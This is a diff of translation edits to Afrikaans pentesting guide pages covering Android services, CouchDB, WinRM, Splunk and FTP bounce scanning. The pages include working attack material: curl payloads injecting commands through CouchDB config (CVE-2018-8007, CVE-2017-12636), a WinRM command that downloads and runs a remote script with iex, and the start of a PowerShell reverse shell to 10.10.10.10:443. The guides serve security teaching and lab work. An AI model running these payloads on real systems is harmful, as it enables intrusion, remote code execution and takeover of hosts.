'n Geverifieerde diens word binne die Manifest.xml verklaar:
```html
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
```
Binnen die kode **check** vir die \*\*`handleMessage`\*\* funksie wat die **message** sal **receive**:
Binnen die kode **check** vir die **`handleMessage`** funksie wat die **message** sal **receive**:
![](<../../../images/image (82).png>)
#### Lys diens
#### Lysdiens
```bash
dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
@ -216,7 +214,7 @@ app.broadcast.sniff Register a broadcast receiver that can sniff particu
```
#### Stuur 'n boodskap
In hierdie voorbeeld wat die [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider misbruik, kan jy **enige SMS** na 'n nie-premium bestemming **stuur sonder om** die gebruiker om toestemming te vra.
In hierdie voorbeeld wat die [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider misbruik, kan jy **enige SMS** na 'n nie-premium bestemming **stuur sonder om** die gebruiker vir toestemming te vra.
![](<../../../images/image (415).png>)
@ -228,7 +226,7 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo
```
### Is debuggeable
'n Produksie APK moet nooit debuggeable wees.\
'n Produksie APK behoort nooit debuggeable te wees.\
Dit beteken dat jy 'n **java debugger** aan die lopende toepassing kan heg, dit in werklike tyd kan inspekteer, breekpunte kan stel, stap vir stap kan gaan, veranderlike waardes kan versamel en selfs hulle kan verander. [InfoSec institute het 'n uitstekende artikel](../exploiting-a-debuggeable-applciation.md) oor hoe om dieper te delf wanneer jou toepassing debuggeable is en runtime kode in te voeg.
Wanneer 'n toepassing debuggeable is, sal dit in die Manifest verskyn:

View File

@ -6,7 +6,7 @@
**CouchDB** is 'n veelsydige en kragtige **dokument-georiënteerde databasis** wat data organiseer met 'n **sleutel-waarde kaart** struktuur binne elke **dokument**. Velde binne die dokument kan voorgestel word as **sleutel/waarde pare, lyste, of kaarte**, wat buigsaamheid in data stoor en onttrekking bied.
Elke **dokument** wat in CouchDB gestoor word, word aan 'n **unieke identifiseerder** (`_id`) op die dokumentvlak toegeken. Boonop word elke wysiging wat gemaak en in die databasis gestoor word, aan 'n **hervisienommer** (`_rev`) toegeken. Hierdie hervisienommer maak doeltreffende **opsporing en bestuur van veranderinge** moontlik, wat maklike onttrekking en sinchronisasie van data binne die databasis vergemaklik.
Elke **dokument** wat in CouchDB gestoor word, word 'n **unieke identifiseerder** (`_id`) op dokumentvlak toegeken. Boonop word elke wysiging wat gemaak en in die databasis gestoor word, 'n **hervisienommer** (`_rev`) toegeken. Hierdie revisienommer maak doeltreffende **opsporing en bestuur van veranderinge** moontlik, wat maklike onttrekking en sinchronisasie van data binne die databasis vergemaklik.
**Standaard poort:** 5984(http), 6984(https)
```
@ -24,7 +24,7 @@ msf> use auxiliary/scanner/couchdb/couchdb_enum
```
curl http://IP:5984/
```
Dit stuur 'n GET-versoek na die geïnstalleerde CouchDB-instantie. Die antwoord behoort soos een van die volgende te lyk:
Dit stuur 'n GET-versoek na die geïnstalleerde CouchDB-instantie. Die antwoord moet soos een van die volgende lyk:
```bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
@ -32,26 +32,26 @@ Dit stuur 'n GET-versoek na die geïnstalleerde CouchDB-instantie. Die antwoord
> [!NOTE]
> Let daarop dat as jy toegang tot die wortel van couchdb verkry, jy 'n `401 Unauthorized` ontvang met iets soos: `{"error":"unauthorized","reason":"Authentication required."}` **jy sal nie in staat wees om** die banner of enige ander eindpunt te bekom nie.
### Info Enumerasie
### Inligting Enumerasie
Dit is die eindpunte waar jy toegang kan verkry met 'n **GET** versoek en 'n paar interessante inligting kan onttrek. Jy kan [**meer eindpunte en meer gedetailleerde beskrywings in die couchdb dokumentasie vind**](https://docs.couchdb.org/en/latest/api/index.html).
Dit is die eindpunte waar jy toegang kan verkry met 'n **GET** versoek en interessante inligting kan onttrek. Jy kan [**meer eindpunte en meer gedetailleerde beskrywings in die couchdb dokumentasie vind**](https://docs.couchdb.org/en/latest/api/index.html).
- **`/_active_tasks`** Lys van lopende take, insluitend die taak tipe, naam, status en proses ID.
- **`/_all_dbs`** Retourneer 'n lys van al die databasisse in die CouchDB instansie.
- \*\*`/_cluster_setup`\*\*Retourneer die status van die node of kluster, volgens die kluster opstelling wizard.
- **`/_cluster_setup`** Retourneer die status van die node of kluster, volgens die kluster opstelling wizard.
- **`/_db_updates`** Retourneer 'n lys van al die databasis gebeurtenisse in die CouchDB instansie. Die bestaan van die `_global_changes` databasis is vereis om hierdie eindpunt te gebruik.
- **`/_membership`** Vertoon die nodes wat deel is van die kluster as `cluster_nodes`. Die veld `all_nodes` vertoon al die nodes waarvan hierdie node weet, insluitend die wat deel is van die kluster.
- **`/_membership`** Vertoon die nodes wat deel van die kluster is as `cluster_nodes`. Die veld `all_nodes` vertoon al die nodes waarvan hierdie node weet, insluitend diegene wat deel van die kluster is.
- **`/_scheduler/jobs`** Lys van replikaasietake. Elke taak beskrywing sal bron en teiken inligting insluit, replikaasie id, 'n geskiedenis van onlangse gebeurtenisse, en 'n paar ander dinge.
- **`/_scheduler/docs`** Lys van replikaasie dokument toestande. Sluit inligting in oor al die dokumente, selfs in `completed` en `failed` toestande. Vir elke dokument retourneer dit die dokument ID, die databasis, die replikaasie ID, bron en teiken, en ander inligting.
- **`/_scheduler/docs`** Lys van replikaasie dokument state. Sluit inligting in oor al die dokumente, selfs in `completed` en `failed` state. Vir elke dokument retourneer dit die dokument ID, die databasis, die replikaasie ID, bron en teiken, en ander inligting.
- **`/_scheduler/docs/{replicator_db}`**
- **`/_scheduler/docs/{replicator_db}/{docid}`**
- **`/_node/{node-name}`** Die `/_node/{node-name}` eindpunt kan gebruik word om die Erlang node naam van die bediener wat die versoek verwerk te bevestig. Dit is die nuttigste wanneer jy toegang tot `/_node/_local` verkry om hierdie inligting te verkry.
- **`/_node/{node-name}/_stats`** Die `_stats` hulpbron retourneer 'n JSON objek wat die statistieke vir die lopende bediener bevat. Die letterlike string `_local` dien as 'n alias vir die plaaslike node naam, so vir al die stats URL's, kan `{node-name}` vervang word met `_local`, om met die plaaslike node se statistieke te kommunikeer.
- **`/_node/{node-name}/_system`** Die \_systemhulpbron retourneer 'n JSON objek wat verskeie stelselniveau statistieke vir die lopende bediener bevat. Jy kan \_\_`_local` as {node-name} gebruik om huidige node inligting te verkry.
- **`/_node/{node-name}/_stats`** Die `_stats` hulpbron retourneer 'n JSON objek wat die statistieke vir die lopende bediener bevat. Die letterlike string `_local` dien as 'n alias vir die plaaslike node naam, so vir al die statistiek URL's, kan `{node-name}` vervang word met `_local`, om met die plaaslike node se statistieke te kommunikeer.
- **`/_node/{node-name}/_system`** Die \_system hulpbron retourneer 'n JSON objek wat verskeie stelselniveau statistieke vir die lopende bediener bevat. Jy kan \_\_`_local` as {node-name} gebruik om huidige node inligting te verkry.
- **`/_node/{node-name}/_restart`**
- **`/_up`** Bevestig dat die bediener aan is, loop, en gereed is om op versoeke te reageer. As [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) `true` of `nolb` is, sal die eindpunt 'n 404 antwoord teruggee.
- \*\*`/_uuids`\*\*Versoek een of meer Universally Unique Identifiers (UUIDs) van die CouchDB instansie.
- \*\*`/_reshard`\*\*Retourneer 'n telling van voltooide, mislukte, lopende, gestopte, en totale take saam met die toestand van herskakeling op die kluster.
- **`/_uuids`** Versoek een of meer Universally Unique Identifiers (UUIDs) van die CouchDB instansie.
- **`/_reshard`** Retourneer 'n telling van voltooide, mislukte, lopende, gestopte, en totale take saam met die toestand van herskakeling op die kluster.
Meer interessante inligting kan onttrek word soos hier verduidelik: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
@ -59,19 +59,19 @@ Meer interessante inligting kan onttrek word soos hier verduidelik: [https://lzo
```
curl -X GET http://IP:5984/_all_dbs
```
As die versoek **met 'n 401 ongeoorloofde antwoord**, dan het jy **geldige akrediteer** nodig om toegang tot die databasis te verkry:
As die versoek **antwoord gee met 'n 401 nie-geautoriseer**, dan het jy **geldige akrediteer** nodig om toegang tot die databasis te verkry:
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
Om geldige Kredensiale te vind, kan jy **probeer om** [**die diens te bruteforce**](../generic-hacking/brute-force.md#couchdb).
Dit is 'n **voorbeeld** van 'n couchdb **antwoord** wanneer jy **genoeg voorregte** het om databasisse te lys (Dit is net 'n lys van dbs):
Dit is 'n **voorbeeld** van 'n couchdb **antwoord** wanneer jy **genoeg regte** het om databasisse te lys (Dit is net 'n lys van dbs):
```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
### Databasis Inligting
Jy kan 'n paar databasisinligting verkry (soos die aantal lêers en groottes) deur toegang te verkry tot die databasisnaam:
Jy kan 'n paar databasisinligting verkry (soos aantal lêers en groottes) deur toegang te verkry tot die databasisnaam:
```bash
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
@ -118,7 +118,7 @@ curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[]
Voorbeeld [van hier](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
In die CouchDB dokumentasie, spesifiek in die afdeling wat cluster opstelling betref ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), word die gebruik van poorte deur CouchDB in 'n kluster modus bespreek. Daar word genoem dat, soos in standalone modus, poort `5984` gebruik word. Boonop is poort `5986` vir node-lokale API's, en belangrik, Erlang vereis TCP poort `4369` vir die Erlang Port Mapper Daemon (EPMD), wat node kommunikasie binne 'n Erlang kluster fasiliteer. Hierdie opstelling vorm 'n netwerk waar elke node met elke ander node verbind is.
In die CouchDB dokumentasie, spesifiek in die afdeling wat cluster opstelling betref ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), word die gebruik van poorte deur CouchDB in 'n kluster modus bespreek. Daar word genoem dat, soos in die standalone modus, poort `5984` gebruik word. Boonop is poort `5986` vir node-lokale API's, en belangrik, Erlang vereis TCP poort `4369` vir die Erlang Port Mapper Daemon (EPMD), wat node kommunikasie binne 'n Erlang kluster fasiliteer. Hierdie opstelling vorm 'n netwerk waar elke node met elke ander node verbind is.
'n Belangrike sekuriteitsadvies word beklemtoon rakende poort `4369`. As hierdie poort oor die Internet of enige onbetroubare netwerk toeganklik gemaak word, hang die stelselsekuriteit sterk af van 'n unieke identifiseerder bekend as die "koekie." Hierdie koekie dien as 'n beskerming. Byvoorbeeld, in 'n gegewe proseslys, kan die koekie met die naam "monster" waargeneem word, wat sy operasionele rol in die stelselsekuriteitsraamwerk aandui.
```
@ -129,13 +129,13 @@ homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bi
```
Vir diegene wat belangstel om te verstaan hoe hierdie "cookie" vir Remote Code Execution (RCE) binne die konteks van Erlang-stelsels uitgebuit kan word, is daar 'n toegewyde afdeling beskikbaar vir verdere lees. Dit beskryf die metodologieë om Erlang-cookies op ongeoorloofde maniere te benut om beheer oor stelsels te verkry. U kan [**die gedetailleerde gids oor die misbruik van Erlang-cookies vir RCE hier verken**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce).
### **Exploiteer CVE-2018-8007 deur die aanpassing van local.ini**
### **Die uitbuiting van CVE-2018-8007 deur die wysiging van local.ini**
Voorbeeld [van hier](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
'n Onlangs bekendgemaakte kwesbaarheid, CVE-2018-8007, wat Apache CouchDB raak, is ondersoek, wat onthul dat uitbuiting skryfrechten tot die `local.ini`-lêer vereis. Alhoewel dit nie direk van toepassing is op die aanvanklike teikenstelsel nie weens sekuriteitsbeperkings, is aanpassings gemaak om skryfrechten aan die `local.ini`-lêer toe te ken vir verkenningsdoeleindes. Gedetailleerde stappe en kodevoorbeelde word hieronder verskaf, wat die proses demonstreer.
'n Onlangs bekendgemaakte kwesbaarheid, CVE-2018-8007, wat Apache CouchDB raak, is ondersoek, en dit het getoon dat uitbuiting skryfrechten tot die `local.ini`-lêer vereis. Alhoewel dit nie direk van toepassing is op die aanvanklike teikenstelsel nie weens sekuriteitsbeperkings, is wysigings aangebring om skryfrechten aan die `local.ini`-lêer toe te ken vir verkenningsdoeleindes. Gedetailleerde stappe en kodevoorbeelde word hieronder verskaf, wat die proses demonstreer.
Eerstens, die omgewing word voorberei deur te verseker dat die `local.ini`-lêer skryfbaar is, wat geverifieer word deur die regte te lys:
Eerstens word die omgewing voorberei deur te verseker dat die `local.ini`-lêer skryfbaar is, wat geverifieer word deur die regte te lys:
```bash
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
@ -143,7 +143,7 @@ root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
Om die kwesbaarheid te benut, word 'n curl-opdrag uitgevoer, wat die `cors/origins` konfigurasie in `local.ini` teiken. Dit voeg 'n nuwe oorsprong saam met addisionele opdragte onder die `[os_daemons]` afdeling in, met die doel om arbitrêre kode uit te voer:
Om die kwesbaarheid te benut, word 'n curl-opdrag uitgevoer, wat die `cors/origins` konfigurasie in `local.ini` teiken. Dit spuit 'n nuwe oorsprong in saam met addisionele opdragte onder die `[os_daemons]` afdeling, met die doel om arbitrêre kode uit te voer:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
@ -156,17 +156,17 @@ root@canape:/home/homer/etc# diff local.ini local.ini.bk
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
Aanvanklik bestaan die verwagte lêer (`/tmp/0xdf`) nie, wat aandui dat die ingespotte opdrag nog nie uitgevoer is nie. Verdere ondersoek toon dat prosesse wat verband hou met CouchDB aan die gang is, insluitend een wat moontlik die ingespotte opdrag kan uitvoer:
In die begin bestaan die verwagte lêer (`/tmp/0xdf`) nie, wat aandui dat die ingespotte opdrag nog nie uitgevoer is nie. Verdere ondersoek toon dat prosesse wat met CouchDB verband hou, aan die gang is, insluitend een wat moontlik die ingespotte opdrag kan uitvoer:
```bash
root@canape:/home/homer/bin# ps aux | grep couch
```
Deur die geïdentifiseerde CouchDB-proses te beëindig en die stelsel toe te laat om dit outomaties te herbegin, word die uitvoering van die ingespotte opdrag geaktiveer, bevestig deur die bestaan van die voorheen ontbrekende lêer:
Deur die geïdentifiseerde CouchDB-proses te beëindig en die stelsel toe te laat om dit outomaties te herbegin, word die uitvoering van die ingespoten opdrag geaktiveer, bevestig deur die bestaan van die voorheen ontbrekende lêer:
```bash
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
Hierdie verkenning bevestig die lewensvatbaarheid van CVE-2018-8007 uitbuiting onder spesifieke omstandighede, veral die vereiste vir skryfbare toegang tot die `local.ini`-lêer. Die verskafde kodevoorbeelde en prosedurele stappe bied 'n duidelike gids om die uitbuiting in 'n beheerde omgewing te herhaal.
Hierdie verkenning bevestig die lewensvatbaarheid van CVE-2018-8007 uitbuiting onder spesifieke toestande, veral die vereiste vir skryfbare toegang tot die `local.ini`-lêer. Die verskafde kodevoorbeelde en prosedurele stappe bied 'n duidelike gids vir die replisering van die uitbuiting in 'n beheerde omgewing.
Vir meer besonderhede oor CVE-2018-8007, verwys na die advies deur mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
@ -174,7 +174,7 @@ Vir meer besonderhede oor CVE-2018-8007, verwys na die advies deur mdsec: [CVE-2
Voorbeeld [van hier](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
'n Kwetsbaarheid bekend as CVE-2017-12636 is verken, wat kode-uitvoering via die CouchDB-proses moontlik maak, alhoewel spesifieke konfigurasies die uitbuiting daarvan kan voorkom. Ten spyte van talle Bewys van Konsep (POC) verwysings wat aanlyn beskikbaar is, is aanpassings nodig om die kwesbaarheid op CouchDB weergawe 2 uit te buit, wat verskil van die algemeen geteikende weergawe 1.x. Die aanvanklike stappe behels die verifikasie van die CouchDB weergawe en die bevestiging van die afwesigheid van die verwagte navraagbedienerspad:
'n Kwetsbaarheid bekend as CVE-2017-12636 is verken, wat kode-uitvoering via die CouchDB-proses moontlik maak, alhoewel spesifieke konfigurasies die uitbuiting daarvan kan voorkom. Ten spyte van talle Bewys van Konsep (POC) verwysings wat aanlyn beskikbaar is, is aanpassings nodig om die kwesbaarheid op CouchDB weergawe 2 uit te buit, wat verskil van die algemeen geteikende weergawe 1.x. Die aanvanklike stappe behels die verifikasie van die CouchDB-weergawe en die bevestiging van die afwesigheid van die verwagte navraagbedienerspad:
```bash
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
@ -193,7 +193,7 @@ Verdere ondersoek het toestemmingkwessies met die `local.ini` lêer, wat nie skr
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
```
Subsequent pogings om die query server by te voeg, was suksesvol, soos aangetoon deur die gebrek aan foutboodskappe in die antwoord. Die suksesvolle wysiging van die `local.ini` lêer is bevestig deur lêervergelyking:
Subsequent pogings om die navraag bediener by te voeg, was suksesvol, soos aangetoon deur die gebrek aan foutboodskappe in die antwoord. Die suksesvolle wysiging van die `local.ini` lêer is bevestig deur lêervergelyking:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
@ -203,7 +203,7 @@ curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
```
'n [**samevatting**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) met 'n alternatiewe payload bied verdere insigte in die ontginning van CVE-2017-12636 onder spesifieke omstandighede. **Nuttige hulpbronne** vir die ontginning van hierdie kwesbaarheid sluit in:
'n [**opsomming**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) met 'n alternatiewe payload bied verdere insigte in die benutting van CVE-2017-12636 onder spesifieke omstandighede. **Nuttige hulpbronne** vir die benutting van hierdie kwesbaarheid sluit in:
- [POC exploit kode](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Exploit Database inskrywing](https://www.exploit-db.com/exploits/44913/)

View File

@ -6,7 +6,7 @@
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) word beklemtoon as 'n **protokol deur Microsoft** wat die **afstandbestuur van Windows-stelsels** deur HTTP(S) moontlik maak, met SOAP in die proses. Dit is fundamenteel aangedryf deur WMI, wat homself as 'n HTTP-gebaseerde koppelvlak vir WMI-operasies aanbied.
Die teenwoordigheid van WinRM op 'n masjien maak dit moontlik vir eenvoudige afstandadministrasie via PowerShell, soortgelyk aan hoe SSH vir ander bedryfstelsels werk. Om te bepaal of WinRM werksaam is, word dit aanbeveel om na die opening van spesifieke poorte te kyk:
Die teenwoordigheid van WinRM op 'n masjien maak dit moontlik om eenvoudige afstandadministrasie via PowerShell te doen, soortgelyk aan hoe SSH vir ander bedryfstelsels werk. Om te bepaal of WinRM werksaam is, word dit aanbeveel om na die opening van spesifieke poorte te kyk:
- **5985/tcp (HTTP)**
- **5986/tcp (HTTPS)**
@ -15,22 +15,22 @@ Die teenwoordigheid van WinRM op 'n masjien maak dit moontlik vir eenvoudige afs
### **Inisieer 'n WinRM-sessie**
Om PowerShell vir WinRM te konfigureer, kom Microsoft se `Enable-PSRemoting` cmdlet in die spel, wat die rekenaar opstel om afstand PowerShell-opdragte te aanvaar. Met verhoogde PowerShell-toegang kan die volgende opdragte uitgevoer word om hierdie funksionaliteit in te stel en enige gasheer as vertroulik aan te dui:
```powershell
Om PowerShell vir WinRM te konfigureer, kom Microsoft se `Enable-PSRemoting` cmdlet in die spel, wat die rekenaar opstel om afstand PowerShell-opdragte te aanvaar. Met verhoogde PowerShell-toegang kan die volgende opdragte uitgevoer word om hierdie funksionaliteit in te stel en enige gasheer as vertrou te merk:
```bash
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
Hierdie benadering behels die toevoeging van 'n wildcard aan die `trustedhosts` konfigurasie, 'n stap wat versigtige oorweging vereis weens die implikasies daarvan. Dit word ook opgemerk dat dit nodig mag wees om die netwerk tipe van "Public" na "Work" te verander op die aanvaller se masjien.
Boonop kan WinRM **afgeleë geaktiveer** word met die `wmic` opdrag, soos hieronder gedemonstreer:
```powershell
```bash
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
Hierdie metode stel die afstandsopstelling van WinRM in staat, wat die buigsaamheid in die bestuur van Windows-masjiene van ver verbeter.
### Toets of geconfigureer
Om die opstelling van jou aanvalmasjien te verifieer, word die `Test-WSMan` opdrag gebruik om te kontroleer of die teiken WinRM korrek geconfigureer het. Deur hierdie opdrag uit te voer, moet jy verwag om besonderhede te ontvang rakende die protokolweergawe en wsmid, wat suksesvolle konfigurasie aandui. Hieronder is voorbeelde wat die verwagte uitvoer vir 'n geconfigureerde teiken teenoor 'n ongeconfigureerde een demonstreer:
Om die opstelling van jou aanvalmasjien te verifieer, word die `Test-WSMan` opdrag gebruik om te kyk of die teiken WinRM korrek geconfigureer het. Deur hierdie opdrag uit te voer, moet jy verwag om besonderhede te ontvang rakende die protokolweergawe en wsmid, wat 'n suksesvolle konfigurasie aandui. Hieronder is voorbeelde wat die verwagte uitvoer vir 'n geconfigureerde teiken teenoor 'n ongeconfigureerde een demonstreer:
- Vir 'n teiken wat **is** korrek geconfigureer, sal die uitvoer soos volg lyk:
```bash
@ -40,34 +40,34 @@ Die antwoord moet inligting bevat oor die protokolweergawe en wsmid, wat aandui
![](<../images/image (582).png>)
- Omgekeerd, vir 'n teiken wat **nie** vir WinRM geconfigureer is nie, sal dit lei tot geen sulke gedetailleerde inligting nie, wat die afwesigheid van 'n behoorlike WinRM-opstelling beklemtoon.
- Aan die ander kant, vir 'n teiken wat **nie** vir WinRM geconfigureer is nie, sal dit lei tot geen sulke gedetailleerde inligting nie, wat die afwesigheid van 'n behoorlike WinRM-opstelling beklemtoon.
![](<../images/image (458).png>)
### Voer 'n opdrag uit
Om `ipconfig` op 'n teikenmasjien op afstand uit te voer en die uitvoer te sien, doen:
```powershell
```bash
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
![](<../images/image (151).png>)
Jy kan ook **'n opdrag van jou huidige PS-konsol uitvoer via** _**Invoke-Command**_. Neem aan dat jy plaaslik 'n funksie genaamd _**enumeration**_ het en jy wil dit **in 'n afstandrekenaar uitvoer**, jy kan doen:
```powershell
```bash
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
### Voer 'n Skrip uit
```powershell
```bash
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
### Kry omgekeerde-skaal
```powershell
### Kry omgekeerde dop
```bash
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
### Kry 'n PS-sessie
Om 'n interaktiewe PowerShell-sessie te kry, gebruik `Enter-PSSession`:
```powershell
```bash
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
@ -87,16 +87,16 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
**Die sessie sal in 'n nuwe proses (wsmprovhost) binne die "slagoffer" loop**
### **WinRM Dwing om Oop te wees**
### **WinRM Dwing om Oop te Wees**
Om PS Remoting en WinRM te gebruik, maar die rekenaar is nie gekonfigureer nie, kan jy dit aktiveer met:
```powershell
```bash
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
### Stoor en Herstel sessies
Dit **sal nie werk nie** as die **taal** op die afstandrekenaar **beperk** is.
```powershell
```bash
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
@ -108,7 +108,7 @@ $sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessi
Enter-PSSession -Session $sess1
```
Binne hierdie sessies kan jy PS-skripte laai met behulp van _Invoke-Command_
```powershell
```bash
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
```
### Foute

View File

@ -4,7 +4,7 @@
## **Basiese Inligting**
- Log analitiese hulpmiddel wat gebruik word vir data versameling, analise, en visualisering
- Log analitiese hulpmiddel wat gebruik word vir data insameling, analise, en visualisering
- Gewoonlik gebruik in sekuriteitsmonitering en besigheidsanalise
- Standaard poorte:
- Webbediener: 8000
@ -15,7 +15,7 @@
1. Gratis Weergawe Exploitatie
- Proefweergawe omskakel outomaties na gratis weergawe na 60 dae
- Gratis weergawe het nie outentisering nie
- Gratis weergawe ontbreek outentisering
- Potensiële sekuriteitsrisiko as dit onbeheerd gelaat word
- Administrateurs mag sekuriteitsimplikasies oor die hoof sien
@ -30,24 +30,24 @@
- Meerdere kode uitvoeringsmetodes:
- Bediener-kant Django toepassings
- REST eindpunte
- Geskrifte insette
- Waarskuwing skrifte
- Geskrewe insette
- Waarskuwingskripte
- Kruis-platform ondersteuning (Windows/Linux)
- Geskrifte insette kan loop:
- Bash skrifte
- PowerShell skrifte
- Batch skrifte
- Geskrewe insette kan loop:
- Bash skripte
- PowerShell skripte
- Batch skripte
Sleutel Exploitatie Potensiaal:
- Sensitiewe data stoor
- Gebrek aan outentisering in gratis weergawe
- Meerdere vektore vir potensiële afgeleë kode uitvoering
- Moontlikheid om geskrifte insette te benut vir stelselskompromie
- Moontlikheid om geskrewe insette te benut vir stelselskompromie
### Shodan
- `Splunk bou`
- `Splunk build`
## RCE
@ -55,7 +55,7 @@ Sleutel Exploitatie Potensiaal:
Splunk bied 'n gesofistikeerde metode vir afgeleë kode uitvoering deur middel van aangepaste toepassingsontplooiing, wat sy kruis-platform skripting vermoëns benut. Die kern exploitatie tegniek draai om die skep van 'n kwaadwillige toepassing wat omgekeerde skale op beide Windows en Linux stelsels kan uitvoer.
'n Aangepaste toepassing kan **Python, Batch, Bash, of PowerShell skrifte** uitvoer. Boonop, **Splunk kom met Python geïnstalleer**, so selfs in **Windows** stelsels sal jy in staat wees om python kode uit te voer.
'n Aangepaste toepassing kan **Python, Batch, Bash, of PowerShell skripte** uitvoer. Boonop, **Splunk kom met Python geïnstalleer**, so selfs in **Windows** stelsels sal jy in staat wees om python kode uit te voer.
Jy kan [**hierdie**](https://github.com/0xjpuff/reverse_shell_splunk) voorbeeld gebruik met die **`bin`** wat 'n voorbeeld bevat vir [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) en [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1). Of jy kan jou eie skep.
@ -76,10 +76,10 @@ Ontplooiing is eenvoudig:
1. Skep die kwaadwillige toepassingspakket
2. Stel 'n luisteraar (Netcat/socat) op die aanvalmasjien op
3. Laai die toepassing op deur Splunk se koppelvlak
4. Trigger outomatiese skripuitvoering by oplaai
4. Trigger outomatiese skripuitvoering by opgelaai
Voorbeeld Windows PowerShell omgekeerde skulp:
```powershell
```bash
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};

View File

@ -7,19 +7,19 @@
### Handmatig
1. Verbinde met kwesbare FTP
2. Gebruik \*\*`PORT`\*\* of **`EPRT`** (maar net 1 van hulle) om 'n verbinding te maak met die _\<IP:Port>_ wat jy wil skandeer:
2. Gebruik **`PORT`** of **`EPRT`** (maar net 1 van hulle) om 'n verbinding te maak met die _\<IP:Port>_ wat jy wil skandeer:
`PORT 172,32,80,80,0,8080`\
`EPRT |2|172.32.80.80|8080|`
3. Gebruik **`LIST`** (dit sal net die lys van huidige lêers in die FTP-gids na die gekonnekteerde _\<IP:Port>_ stuur) en kyk vir die moontlike antwoorde: `150 File status okay` (Dit beteken die poort is oop) of `425 No connection established` (Dit beteken die poort is toe)
3. Gebruik **`LIST`** (dit sal net die lys van huidige lêers in die FTP-gids na die gekonnekte _\<IP:Port>_ stuur) en kyk vir die moontlike antwoorde: `150 File status okay` (Dit beteken die poort is oop) of `425 No connection established` (Dit beteken die poort is gesluit)
1. In plaas van `LIST` kan jy ook **`RETR /file/in/ftp`** gebruik en soek na soortgelyke `Open/Close` antwoorde.
Voorbeeld met **PORT** (poort 8080 van 172.32.80.80 is oop en poort 7777 is toe):
Voorbeeld met **PORT** (poort 8080 van 172.32.80.80 is oop en poort 7777 is gesluit):
![](<../../images/image (241).png>)
Selfde voorbeeld met **`EPRT`** (authentisering weggelaat in die beeld):
Dieselfde voorbeeld met **`EPRT`** (authentisering weggelaat in die beeld):
![](<../../images/image (539).png>)

View File

